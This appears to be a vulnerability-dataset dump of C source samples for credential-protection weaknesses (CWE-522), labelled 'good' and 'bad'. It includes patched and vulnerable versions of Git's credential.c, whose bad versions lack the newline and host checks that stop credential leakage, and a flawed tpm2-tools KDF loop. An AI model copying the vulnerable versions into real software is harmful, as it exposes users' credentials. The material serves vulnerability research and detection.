imap_mbox_check_stats, .mbox_sync = NULL, /* imap syncing is handled by imap_sync_mailbox */ .mbox_close = imap_mbox_close, .msg_open = imap_msg_open, .msg_open_new = imap_msg_open_new, .msg_commit = imap_msg_commit, .msg_close = imap_msg_close, .msg_padding_size = NULL, .msg_save_hcache = imap_msg_save_hcache, .tags_edit = imap_tags_edit, .tags_commit = imap_tags_commit, .path_probe = imap_path_probe, .path_canon = imap_path_canon, .path_pretty = imap_path_pretty, .path_parent = imap_path_parent, .path_is_empty = imap_path_is_empty, }; // clang-format on
./CrossVul/dataset_final_sorted/CWE-522/c/good_4451_0
crossvul-cpp_data_good_3894_0
#include "cache.h" #include "config.h" #include "credential.h" #include "string-list.h" #include "run-command.h" #include "url.h" #include "prompt.h" void credential_init(struct credential *c) { memset(c, 0, sizeof(*c)); c->helpers.strdup_strings = 1; } void credential_clear(struct credential *c) { free(c->protocol); free(c->host); free(c->path); free(c->username); free(c->password); string_list_clear(&c->helpers, 0); credential_init(c); } int credential_match(const struct credential *want, const struct credential *have) { #define CHECK(x) (!want->x || (have->x && !strcmp(want->x, have->x))) return CHECK(protocol) && CHECK(host) && CHECK(path) && CHECK(username); #undef CHECK } static int credential_config_callback(const char *var, const char *value, void *data) { struct credential *c = data; const char *key, *dot; if (!skip_prefix(var, "credential.", &key)) return 0; if (!value) return config_error_nonbool(var); dot = strrchr(key, '.'); if (dot) { struct credential want = CREDENTIAL_INIT; char *url = xmemdupz(key, dot - key); int matched; credential_from_url(&want, url); matched = credential_match(&want, c); credential_clear(&want); free(url); if (!matched) return 0; key = dot + 1; } if (!strcmp(key, "helper")) { if (*value) string_list_append(&c->helpers, value); else string_list_clear(&c->helpers, 0); } else if (!strcmp(key, "username")) { if (!c->username) c->username = xstrdup(value); } else if (!strcmp(key, "usehttppath")) c->use_http_path = git_config_bool(var, value); return 0; } static int proto_is_http(const char *s) { if (!s) return 0; return !strcmp(s, "https") || !strcmp(s, "http"); } static void credential_apply_config(struct credential *c) { if (!c->host) die(_("refusing to work with credential missing host field")); if (!c->protocol) die(_("refusing to work with credential missing protocol field")); if (c->configured) return; git_config(credential_config_callback, c); c->configured = 1; if (!c->use_http_path && proto_is_http(c->protocol)) { FREE_AND_NULL(c->path); } } static void credential_describe(struct credential *c, struct strbuf *out) { if (!c->protocol) return; strbuf_addf(out, "%s://", c->protocol); if (c->username && *c->username) strbuf_addf(out, "%s@", c->username); if (c->host) strbuf_addstr(out, c->host); if (c->path) strbuf_addf(out, "/%s", c->path); } static char *credential_ask_one(const char *what, struct credential *c, int flags) { struct strbuf desc = STRBUF_INIT; struct strbuf prompt = STRBUF_INIT; char *r; credential_describe(c, &desc); if (desc.len) strbuf_addf(&prompt, "%s for '%s': ", what, desc.buf); else strbuf_addf(&prompt, "%s: ", what); r = git_prompt(prompt.buf, flags); strbuf_release(&desc); strbuf_release(&prompt); return xstrdup(r); } static void credential_getpass(struct credential *c) { if (!c->username) c->username = credential_ask_one("Username", c, PROMPT_ASKPASS|PROMPT_ECHO); if (!c->password) c->password = credential_ask_one("Password", c, PROMPT_ASKPASS); } int credential_read(struct credential *c, FILE *fp) { struct strbuf line = STRBUF_INIT; while (strbuf_getline_lf(&line, fp) != EOF) { char *key = line.buf; char *value = strchr(key, '='); if (!line.len) break; if (!value) { warning("invalid credential line: %s", key); strbuf_release(&line); return -1; } *value++ = '\0'; if (!strcmp(key, "username")) { free(c->username); c->username = xstrdup(value); } else if (!strcmp(key, "password")) { free(c->password); c->password = xstrdup(value); } else if (!strcmp(key, "protocol")) { free(c->protocol); c->protocol = xstrdup(value); } else if (!strcmp(key, "host")) { free(c->host); c->host = xstrdup(value); } else if (!strcmp(key, "path")) { free(c->path); c->path = xstrdup(value); } else if (!strcmp(key, "url")) { credential_from_url(c, value); } else if (!strcmp(key, "quit")) { c->quit = !!git_config_bool("quit", value); } /* * Ignore other lines; we don't know what they mean, but * this future-proofs us when later versions of git do * learn new lines, and the helpers are updated to match. */ } strbuf_release(&line); return 0; } static void credential_write_item(FILE *fp, const char *key, const char *value, int required) { if (!value && required) BUG("credential value for %s is missing", key); if (!value) return; if (strchr(value, '\n')) die("credential value for %s contains newline", key); fprintf(fp, "%s=%s\n", key, value); } void credential_write(const struct credential *c, FILE *fp) { credential_write_item(fp, "protocol", c->protocol, 1); credential_write_item(fp, "host", c->host, 1); credential_write_item(fp, "path", c->path, 0); credential_write_item(fp, "username", c->username, 0); credential_write_item(fp, "password", c->password, 0); } static int run_credential_helper(struct credential *c, const char *cmd, int want_output) { struct child_process helper = CHILD_PROCESS_INIT; const char *argv[] = { NULL, NULL }; FILE *fp; argv[0] = cmd; helper.argv = argv; helper.use_shell = 1; helper.in = -1; if (want_output) helper.out = -1; else helper.no_stdout = 1; if (start_command(&helper) < 0) return -1; fp = xfdopen(helper.in, "w"); credential_write(c, fp); fclose(fp); if (want_output) { int r; fp = xfdopen(helper.out, "r"); r = credential_read(c, fp); fclose(fp); if (r < 0) { finish_command(&helper); return -1; } } if (finish_command(&helper)) return -1; return 0; } static int credential_do(struct credential *c, const char *helper, const char *operation) { struct strbuf cmd = STRBUF_INIT; int r; if (helper[0] == '!') strbuf_addstr(&cmd, helper + 1); else if (is_absolute_path(helper)) strbuf_addstr(&cmd, helper); else strbuf_addf(&cmd, "git credential-%s", helper); strbuf_addf(&cmd, " %s", operation); r = run_credential_helper(c, cmd.buf, !strcmp(operation, "get")); strbuf_release(&cmd); return r; } void credential_fill(struct credential *c) { int i; if (c->username && c->password) return; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) { credential_do(c, c->helpers.items[i].string, "get"); if (c->username && c->password) return; if (c->quit) die("credential helper '%s' told us to quit", c->helpers.items[i].string); } credential_getpass(c); if (!c->username && !c->password) die("unable to get password from user"); } void credential_approve(struct credential *c) { int i; if (c->approved) return; if (!c->username || !c->password) return; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) credential_do(c, c->helpers.items[i].string, "store"); c->approved = 1; } void credential_reject(struct credential *c) { int i; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) credential_do(c, c->helpers.items[i].string, "erase"); FREE_AND_NULL(c->username); FREE_AND_NULL(c->password); c->approved = 0; } static int check_url_component(const char *url, int quiet, const char *name, const char *value) { if (!value) return 0; if (!strchr(value, '\n')) return 0; if (!quiet) warning(_("url contains a newline in its %s component: %s"), name, url); return -1; } int credential_from_url_gently(struct credential *c, const char *url, int quiet) { const char *at, *colon, *cp, *slash, *host, *proto_end; credential_clear(c); /* * Match one of: * (1) proto://<host>/... * (2) proto://<user>@<host>/... * (3) proto://<user>:<pass>@<host>/... */ proto_end = strstr(url, "://"); if (!proto_end) { if (!quiet) warning(_("url has no scheme: %s"), url); return -1; } cp = proto_end + 3; at = strchr(cp, '@'); colon = strchr(cp, ':'); slash = strchrnul(cp, '/'); if (!at || slash <= at) { /* Case (1) */ host = cp; } else if (!colon || at <= colon) { /* Case (2) */ c->username = url_decode_mem(cp, at - cp); host = at + 1; } else { /* Case (3) */ c->username = url_decode_mem(cp, colon - cp); c->password = url_decode_mem(colon + 1, at - (colon + 1)); host = at + 1; } if (proto_end - url > 0) c->protocol = xmemdupz(url, proto_end - url); c->host = url_decode_mem(host, slash - host); /* Trim leading and trailing slashes from path */ while (*slash == '/') slash++; if (*slash) { char *p; c->path = url_decode(slash); p = c->path + strlen(c->path) - 1; while (p > c->path && *p == '/') *p-- = '\0'; } if (check_url_component(url, quiet, "username", c->username) < 0 || check_url_component(url, quiet, "password", c->password) < 0 || check_url_component(url, quiet, "protocol", c->protocol) < 0 || check_url_component(url, quiet, "host", c->host) < 0 || check_url_component(url, quiet, "path", c->path) < 0) return -1; return 0; } void credential_from_url(struct credential *c, const char *url) { if (credential_from_url_gently(c, url, 0) < 0) die(_("credential url cannot be parsed: %s"), url); }
./CrossVul/dataset_final_sorted/CWE-522/c/good_3894_0
crossvul-cpp_data_bad_3894_0
#include "cache.h" #include "config.h" #include "credential.h" #include "string-list.h" #include "run-command.h" #include "url.h" #include "prompt.h" void credential_init(struct credential *c) { memset(c, 0, sizeof(*c)); c->helpers.strdup_strings = 1; } void credential_clear(struct credential *c) { free(c->protocol); free(c->host); free(c->path); free(c->username); free(c->password); string_list_clear(&c->helpers, 0); credential_init(c); } int credential_match(const struct credential *want, const struct credential *have) { #define CHECK(x) (!want->x || (have->x && !strcmp(want->x, have->x))) return CHECK(protocol) && CHECK(host) && CHECK(path) && CHECK(username); #undef CHECK } static int credential_config_callback(const char *var, const char *value, void *data) { struct credential *c = data; const char *key, *dot; if (!skip_prefix(var, "credential.", &key)) return 0; if (!value) return config_error_nonbool(var); dot = strrchr(key, '.'); if (dot) { struct credential want = CREDENTIAL_INIT; char *url = xmemdupz(key, dot - key); int matched; credential_from_url(&want, url); matched = credential_match(&want, c); credential_clear(&want); free(url); if (!matched) return 0; key = dot + 1; } if (!strcmp(key, "helper")) { if (*value) string_list_append(&c->helpers, value); else string_list_clear(&c->helpers, 0); } else if (!strcmp(key, "username")) { if (!c->username) c->username = xstrdup(value); } else if (!strcmp(key, "usehttppath")) c->use_http_path = git_config_bool(var, value); return 0; } static int proto_is_http(const char *s) { if (!s) return 0; return !strcmp(s, "https") || !strcmp(s, "http"); } static void credential_apply_config(struct credential *c) { if (!c->host) die(_("refusing to work with credential missing host field")); if (!c->protocol) die(_("refusing to work with credential missing protocol field")); if (c->configured) return; git_config(credential_config_callback, c); c->configured = 1; if (!c->use_http_path && proto_is_http(c->protocol)) { FREE_AND_NULL(c->path); } } static void credential_describe(struct credential *c, struct strbuf *out) { if (!c->protocol) return; strbuf_addf(out, "%s://", c->protocol); if (c->username && *c->username) strbuf_addf(out, "%s@", c->username); if (c->host) strbuf_addstr(out, c->host); if (c->path) strbuf_addf(out, "/%s", c->path); } static char *credential_ask_one(const char *what, struct credential *c, int flags) { struct strbuf desc = STRBUF_INIT; struct strbuf prompt = STRBUF_INIT; char *r; credential_describe(c, &desc); if (desc.len) strbuf_addf(&prompt, "%s for '%s': ", what, desc.buf); else strbuf_addf(&prompt, "%s: ", what); r = git_prompt(prompt.buf, flags); strbuf_release(&desc); strbuf_release(&prompt); return xstrdup(r); } static void credential_getpass(struct credential *c) { if (!c->username) c->username = credential_ask_one("Username", c, PROMPT_ASKPASS|PROMPT_ECHO); if (!c->password) c->password = credential_ask_one("Password", c, PROMPT_ASKPASS); } int credential_read(struct credential *c, FILE *fp) { struct strbuf line = STRBUF_INIT; while (strbuf_getline_lf(&line, fp) != EOF) { char *key = line.buf; char *value = strchr(key, '='); if (!line.len) break; if (!value) { warning("invalid credential line: %s", key); strbuf_release(&line); return -1; } *value++ = '\0'; if (!strcmp(key, "username")) { free(c->username); c->username = xstrdup(value); } else if (!strcmp(key, "password")) { free(c->password); c->password = xstrdup(value); } else if (!strcmp(key, "protocol")) { free(c->protocol); c->protocol = xstrdup(value); } else if (!strcmp(key, "host")) { free(c->host); c->host = xstrdup(value); } else if (!strcmp(key, "path")) { free(c->path); c->path = xstrdup(value); } else if (!strcmp(key, "url")) { credential_from_url(c, value); } else if (!strcmp(key, "quit")) { c->quit = !!git_config_bool("quit", value); } /* * Ignore other lines; we don't know what they mean, but * this future-proofs us when later versions of git do * learn new lines, and the helpers are updated to match. */ } strbuf_release(&line); return 0; } static void credential_write_item(FILE *fp, const char *key, const char *value, int required) { if (!value && required) BUG("credential value for %s is missing", key); if (!value) return; if (strchr(value, '\n')) die("credential value for %s contains newline", key); fprintf(fp, "%s=%s\n", key, value); } void credential_write(const struct credential *c, FILE *fp) { credential_write_item(fp, "protocol", c->protocol, 1); credential_write_item(fp, "host", c->host, 1); credential_write_item(fp, "path", c->path, 0); credential_write_item(fp, "username", c->username, 0); credential_write_item(fp, "password", c->password, 0); } static int run_credential_helper(struct credential *c, const char *cmd, int want_output) { struct child_process helper = CHILD_PROCESS_INIT; const char *argv[] = { NULL, NULL }; FILE *fp; argv[0] = cmd; helper.argv = argv; helper.use_shell = 1; helper.in = -1; if (want_output) helper.out = -1; else helper.no_stdout = 1; if (start_command(&helper) < 0) return -1; fp = xfdopen(helper.in, "w"); credential_write(c, fp); fclose(fp); if (want_output) { int r; fp = xfdopen(helper.out, "r"); r = credential_read(c, fp); fclose(fp); if (r < 0) { finish_command(&helper); return -1; } } if (finish_command(&helper)) return -1; return 0; } static int credential_do(struct credential *c, const char *helper, const char *operation) { struct strbuf cmd = STRBUF_INIT; int r; if (helper[0] == '!') strbuf_addstr(&cmd, helper + 1); else if (is_absolute_path(helper)) strbuf_addstr(&cmd, helper); else strbuf_addf(&cmd, "git credential-%s", helper); strbuf_addf(&cmd, " %s", operation); r = run_credential_helper(c, cmd.buf, !strcmp(operation, "get")); strbuf_release(&cmd); return r; } void credential_fill(struct credential *c) { int i; if (c->username && c->password) return; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) { credential_do(c, c->helpers.items[i].string, "get"); if (c->username && c->password) return; if (c->quit) die("credential helper '%s' told us to quit", c->helpers.items[i].string); } credential_getpass(c); if (!c->username && !c->password) die("unable to get password from user"); } void credential_approve(struct credential *c) { int i; if (c->approved) return; if (!c->username || !c->password) return; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) credential_do(c, c->helpers.items[i].string, "store"); c->approved = 1; } void credential_reject(struct credential *c) { int i; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) credential_do(c, c->helpers.items[i].string, "erase"); FREE_AND_NULL(c->username); FREE_AND_NULL(c->password); c->approved = 0; } static int check_url_component(const char *url, int quiet, const char *name, const char *value) { if (!value) return 0; if (!strchr(value, '\n')) return 0; if (!quiet) warning(_("url contains a newline in its %s component: %s"), name, url); return -1; } int credential_from_url_gently(struct credential *c, const char *url, int quiet) { const char *at, *colon, *cp, *slash, *host, *proto_end; credential_clear(c); /* * Match one of: * (1) proto://<host>/... * (2) proto://<user>@<host>/... * (3) proto://<user>:<pass>@<host>/... */ proto_end = strstr(url, "://"); if (!proto_end) return 0; cp = proto_end + 3; at = strchr(cp, '@'); colon = strchr(cp, ':'); slash = strchrnul(cp, '/'); if (!at || slash <= at) { /* Case (1) */ host = cp; } else if (!colon || at <= colon) { /* Case (2) */ c->username = url_decode_mem(cp, at - cp); host = at + 1; } else { /* Case (3) */ c->username = url_decode_mem(cp, colon - cp); c->password = url_decode_mem(colon + 1, at - (colon + 1)); host = at + 1; } if (proto_end - url > 0) c->protocol = xmemdupz(url, proto_end - url); c->host = url_decode_mem(host, slash - host); /* Trim leading and trailing slashes from path */ while (*slash == '/') slash++; if (*slash) { char *p; c->path = url_decode(slash); p = c->path + strlen(c->path) - 1; while (p > c->path && *p == '/') *p-- = '\0'; } if (check_url_component(url, quiet, "username", c->username) < 0 || check_url_component(url, quiet, "password", c->password) < 0 || check_url_component(url, quiet, "protocol", c->protocol) < 0 || check_url_component(url, quiet, "host", c->host) < 0 || check_url_component(url, quiet, "path", c->path) < 0) return -1; return 0; } void credential_from_url(struct credential *c, const char *url) { if (credential_from_url_gently(c, url, 0) < 0) die(_("credential url cannot be parsed: %s"), url); }
./CrossVul/dataset_final_sorted/CWE-522/c/bad_3894_0
crossvul-cpp_data_bad_4557_0
#include "cache.h" #include "config.h" #include "credential.h" #include "string-list.h" #include "run-command.h" #include "url.h" #include "prompt.h" void credential_init(struct credential *c) { memset(c, 0, sizeof(*c)); c->helpers.strdup_strings = 1; } void credential_clear(struct credential *c) { free(c->protocol); free(c->host); free(c->path); free(c->username); free(c->password); string_list_clear(&c->helpers, 0); credential_init(c); } int credential_match(const struct credential *want, const struct credential *have) { #define CHECK(x) (!want->x || (have->x && !strcmp(want->x, have->x))) return CHECK(protocol) && CHECK(host) && CHECK(path) && CHECK(username); #undef CHECK } static int credential_config_callback(const char *var, const char *value, void *data) { struct credential *c = data; const char *key, *dot; if (!skip_prefix(var, "credential.", &key)) return 0; if (!value) return config_error_nonbool(var); dot = strrchr(key, '.'); if (dot) { struct credential want = CREDENTIAL_INIT; char *url = xmemdupz(key, dot - key); int matched; credential_from_url(&want, url); matched = credential_match(&want, c); credential_clear(&want); free(url); if (!matched) return 0; key = dot + 1; } if (!strcmp(key, "helper")) { if (*value) string_list_append(&c->helpers, value); else string_list_clear(&c->helpers, 0); } else if (!strcmp(key, "username")) { if (!c->username) c->username = xstrdup(value); } else if (!strcmp(key, "usehttppath")) c->use_http_path = git_config_bool(var, value); return 0; } static int proto_is_http(const char *s) { if (!s) return 0; return !strcmp(s, "https") || !strcmp(s, "http"); } static void credential_apply_config(struct credential *c) { if (c->configured) return; git_config(credential_config_callback, c); c->configured = 1; if (!c->use_http_path && proto_is_http(c->protocol)) { FREE_AND_NULL(c->path); } } static void credential_describe(struct credential *c, struct strbuf *out) { if (!c->protocol) return; strbuf_addf(out, "%s://", c->protocol); if (c->username && *c->username) strbuf_addf(out, "%s@", c->username); if (c->host) strbuf_addstr(out, c->host); if (c->path) strbuf_addf(out, "/%s", c->path); } static char *credential_ask_one(const char *what, struct credential *c, int flags) { struct strbuf desc = STRBUF_INIT; struct strbuf prompt = STRBUF_INIT; char *r; credential_describe(c, &desc); if (desc.len) strbuf_addf(&prompt, "%s for '%s': ", what, desc.buf); else strbuf_addf(&prompt, "%s: ", what); r = git_prompt(prompt.buf, flags); strbuf_release(&desc); strbuf_release(&prompt); return xstrdup(r); } static void credential_getpass(struct credential *c) { if (!c->username) c->username = credential_ask_one("Username", c, PROMPT_ASKPASS|PROMPT_ECHO); if (!c->password) c->password = credential_ask_one("Password", c, PROMPT_ASKPASS); } int credential_read(struct credential *c, FILE *fp) { struct strbuf line = STRBUF_INIT; while (strbuf_getline_lf(&line, fp) != EOF) { char *key = line.buf; char *value = strchr(key, '='); if (!line.len) break; if (!value) { warning("invalid credential line: %s", key); strbuf_release(&line); return -1; } *value++ = '\0'; if (!strcmp(key, "username")) { free(c->username); c->username = xstrdup(value); } else if (!strcmp(key, "password")) { free(c->password); c->password = xstrdup(value); } else if (!strcmp(key, "protocol")) { free(c->protocol); c->protocol = xstrdup(value); } else if (!strcmp(key, "host")) { free(c->host); c->host = xstrdup(value); } else if (!strcmp(key, "path")) { free(c->path); c->path = xstrdup(value); } else if (!strcmp(key, "url")) { credential_from_url(c, value); } else if (!strcmp(key, "quit")) { c->quit = !!git_config_bool("quit", value); } /* * Ignore other lines; we don't know what they mean, but * this future-proofs us when later versions of git do * learn new lines, and the helpers are updated to match. */ } strbuf_release(&line); return 0; } static void credential_write_item(FILE *fp, const char *key, const char *value) { if (!value) return; fprintf(fp, "%s=%s\n", key, value); } void credential_write(const struct credential *c, FILE *fp) { credential_write_item(fp, "protocol", c->protocol); credential_write_item(fp, "host", c->host); credential_write_item(fp, "path", c->path); credential_write_item(fp, "username", c->username); credential_write_item(fp, "password", c->password); } static int run_credential_helper(struct credential *c, const char *cmd, int want_output) { struct child_process helper = CHILD_PROCESS_INIT; const char *argv[] = { NULL, NULL }; FILE *fp; argv[0] = cmd; helper.argv = argv; helper.use_shell = 1; helper.in = -1; if (want_output) helper.out = -1; else helper.no_stdout = 1; if (start_command(&helper) < 0) return -1; fp = xfdopen(helper.in, "w"); credential_write(c, fp); fclose(fp); if (want_output) { int r; fp = xfdopen(helper.out, "r"); r = credential_read(c, fp); fclose(fp); if (r < 0) { finish_command(&helper); return -1; } } if (finish_command(&helper)) return -1; return 0; } static int credential_do(struct credential *c, const char *helper, const char *operation) { struct strbuf cmd = STRBUF_INIT; int r; if (helper[0] == '!') strbuf_addstr(&cmd, helper + 1); else if (is_absolute_path(helper)) strbuf_addstr(&cmd, helper); else strbuf_addf(&cmd, "git credential-%s", helper); strbuf_addf(&cmd, " %s", operation); r = run_credential_helper(c, cmd.buf, !strcmp(operation, "get")); strbuf_release(&cmd); return r; } void credential_fill(struct credential *c) { int i; if (c->username && c->password) return; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) { credential_do(c, c->helpers.items[i].string, "get"); if (c->username && c->password) return; if (c->quit) die("credential helper '%s' told us to quit", c->helpers.items[i].string); } credential_getpass(c); if (!c->username && !c->password) die("unable to get password from user"); } void credential_approve(struct credential *c) { int i; if (c->approved) return; if (!c->username || !c->password) return; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) credential_do(c, c->helpers.items[i].string, "store"); c->approved = 1; } void credential_reject(struct credential *c) { int i; credential_apply_config(c); for (i = 0; i < c->helpers.nr; i++) credential_do(c, c->helpers.items[i].string, "erase"); FREE_AND_NULL(c->username); FREE_AND_NULL(c->password); c->approved = 0; } void credential_from_url(struct credential *c, const char *url) { const char *at, *colon, *cp, *slash, *host, *proto_end; credential_clear(c); /* * Match one of: * (1) proto://<host>/... * (2) proto://<user>@<host>/... * (3) proto://<user>:<pass>@<host>/... */ proto_end = strstr(url, "://"); if (!proto_end) return; cp = proto_end + 3; at = strchr(cp, '@'); colon = strchr(cp, ':'); slash = strchrnul(cp, '/'); if (!at || slash <= at) { /* Case (1) */ host = cp; } else if (!colon || at <= colon) { /* Case (2) */ c->username = url_decode_mem(cp, at - cp); host = at + 1; } else { /* Case (3) */ c->username = url_decode_mem(cp, colon - cp); c->password = url_decode_mem(colon + 1, at - (colon + 1)); host = at + 1; } if (proto_end - url > 0) c->protocol = xmemdupz(url, proto_end - url); if (slash - host > 0) c->host = url_decode_mem(host, slash - host); /* Trim leading and trailing slashes from path */ while (*slash == '/') slash++; if (*slash) { char *p; c->path = url_decode(slash); p = c->path + strlen(c->path) - 1; while (p > c->path && *p == '/') *p-- = '\0'; } }
./CrossVul/dataset_final_sorted/CWE-522/c/bad_4557_0
crossvul-cpp_data_bad_3274_2
//**********************************************************************; // Copyright (c) 2015, Intel Corporation // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. //**********************************************************************; #include <sapi/tpm20.h> #include "string-bytes.h" #include "tpm_hmac.h" TPM_RC tpm_kdfa(TSS2_SYS_CONTEXT *sapi_context, TPMI_ALG_HASH hashAlg, TPM2B *key, char *label, TPM2B *contextU, TPM2B *contextV, UINT16 bits, TPM2B_MAX_BUFFER *resultKey ) { TPM2B_DIGEST tmpResult; TPM2B_DIGEST tpm2bLabel, tpm2bBits, tpm2b_i_2; UINT8 *tpm2bBitsPtr = &tpm2bBits.t.buffer[0]; UINT8 *tpm2b_i_2Ptr = &tpm2b_i_2.t.buffer[0]; TPM2B_DIGEST *bufferList[8]; UINT32 bitsSwizzled, i_Swizzled; TPM_RC rval; int i, j; UINT16 bytes = bits / 8; resultKey->t .size = 0; tpm2b_i_2.t.size = 4; tpm2bBits.t.size = 4; bitsSwizzled = string_bytes_endian_convert_32( bits ); *(UINT32 *)tpm2bBitsPtr = bitsSwizzled; for(i = 0; label[i] != 0 ;i++ ); tpm2bLabel.t.size = i+1; for( i = 0; i < tpm2bLabel.t.size; i++ ) { tpm2bLabel.t.buffer[i] = label[i]; } resultKey->t.size = 0; i = 1; while( resultKey->t.size < bytes ) { // Inner loop i_Swizzled = string_bytes_endian_convert_32( i ); *(UINT32 *)tpm2b_i_2Ptr = i_Swizzled; j = 0; bufferList[j++] = (TPM2B_DIGEST *)&(tpm2b_i_2.b); bufferList[j++] = (TPM2B_DIGEST *)&(tpm2bLabel.b); bufferList[j++] = (TPM2B_DIGEST *)contextU; bufferList[j++] = (TPM2B_DIGEST *)contextV; bufferList[j++] = (TPM2B_DIGEST *)&(tpm2bBits.b); bufferList[j++] = (TPM2B_DIGEST *)0; rval = tpm_hmac(sapi_context, hashAlg, key, (TPM2B **)&( bufferList[0] ), &tmpResult ); if( rval != TPM_RC_SUCCESS ) { return( rval ); } bool res = string_bytes_concat_buffer(resultKey, &(tmpResult.b)); if (!res) { return TSS2_SYS_RC_BAD_VALUE; } } // Truncate the result to the desired size. resultKey->t.size = bytes; return TPM_RC_SUCCESS; }
./CrossVul/dataset_final_sorted/CWE-522/c/bad_3274_2
crossvul-cpp_data_bad_3274_4
//**********************************************************************; // Copyright (c) 2015, Intel Corporation // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. //**********************************************************************; #include <stdbool.h> #include <stdlib.h> #include <sapi/tpm20.h> #include "string-bytes.h" #include "tpm_kdfa.h" #include "tpm_session.h" /* for APP_RC_CREATE_SESSION_KEY_FAILED error code */ #define SESSIONS_ARRAY_COUNT MAX_NUM_SESSIONS+1 typedef struct { SESSION session; void *nextEntry; } SESSION_LIST_ENTRY; static SESSION_LIST_ENTRY *local_sessions_list = 0; static INT16 local_session_entries_used = 0; /* * GetDigestSize() was taken from the TSS code base * and moved here since it was not part of the public * exxported API at the time. */ typedef struct { TPM_ALG_ID algId; UINT16 size; // Size of digest } HASH_SIZE_INFO; HASH_SIZE_INFO hashSizes[] = { {TPM_ALG_SHA1, SHA1_DIGEST_SIZE}, {TPM_ALG_SHA256, SHA256_DIGEST_SIZE}, #ifdef TPM_ALG_SHA384 {TPM_ALG_SHA384, SHA384_DIGEST_SIZE}, #endif #ifdef TPM_ALG_SHA512 {TPM_ALG_SHA512, SHA512_DIGEST_SIZE}, #endif {TPM_ALG_SM3_256, SM3_256_DIGEST_SIZE}, {TPM_ALG_NULL,0} }; static UINT16 GetDigestSize( TPM_ALG_ID authHash ) { UINT32 i; for(i = 0; i < (sizeof(hashSizes)/sizeof(HASH_SIZE_INFO)); i++ ) { if( hashSizes[i].algId == authHash ) return hashSizes[i].size; } // If not found, return 0 size, and let TPM handle the error. return( 0 ); } static TPM_RC AddSession( SESSION_LIST_ENTRY **sessionEntry ) { SESSION_LIST_ENTRY **newEntry; // find end of list. for( newEntry = &local_sessions_list; *newEntry != 0; *newEntry = ( (SESSION_LIST_ENTRY *)*newEntry)->nextEntry ) ; // allocate space for session structure. *newEntry = malloc( sizeof( SESSION_LIST_ENTRY ) ); if( *newEntry != 0 ) { *sessionEntry = *newEntry; (*sessionEntry)->nextEntry = 0; local_session_entries_used++; return TPM_RC_SUCCESS; } else { return TSS2_APP_RC_SESSION_SLOT_NOT_FOUND; } } static void DeleteSession( SESSION *session ) { SESSION_LIST_ENTRY *predSession; void *newNextEntry; if( session == &local_sessions_list->session ) local_sessions_list = 0; else { // Find predecessor. for( predSession = local_sessions_list; predSession != 0 && &( ( ( SESSION_LIST_ENTRY *)predSession->nextEntry )->session ) != session; predSession = predSession->nextEntry ) ; if( predSession != 0 ) { local_session_entries_used--; newNextEntry = &( (SESSION_LIST_ENTRY *)predSession->nextEntry)->nextEntry; free( predSession->nextEntry ); predSession->nextEntry = newNextEntry; } } } // // This is a wrapper function around the TPM2_StartAuthSession command. // It performs the command, calculates the session key, and updates a // SESSION structure. // static TPM_RC StartAuthSession(TSS2_SYS_CONTEXT *sapi_context, SESSION *session ) { TPM_RC rval; TPM2B_ENCRYPTED_SECRET key; char label[] = "ATH"; UINT16 bytes; int i; key.t.size = 0; if( session->nonceOlder.t.size == 0 ) { /* this is an internal routine to TSS and should be removed */ session->nonceOlder.t.size = GetDigestSize( TPM_ALG_SHA1 ); for( i = 0; i < session->nonceOlder.t.size; i++ ) session->nonceOlder.t.buffer[i] = 0; } session->nonceNewer.t.size = session->nonceOlder.t.size; rval = Tss2_Sys_StartAuthSession( sapi_context, session->tpmKey, 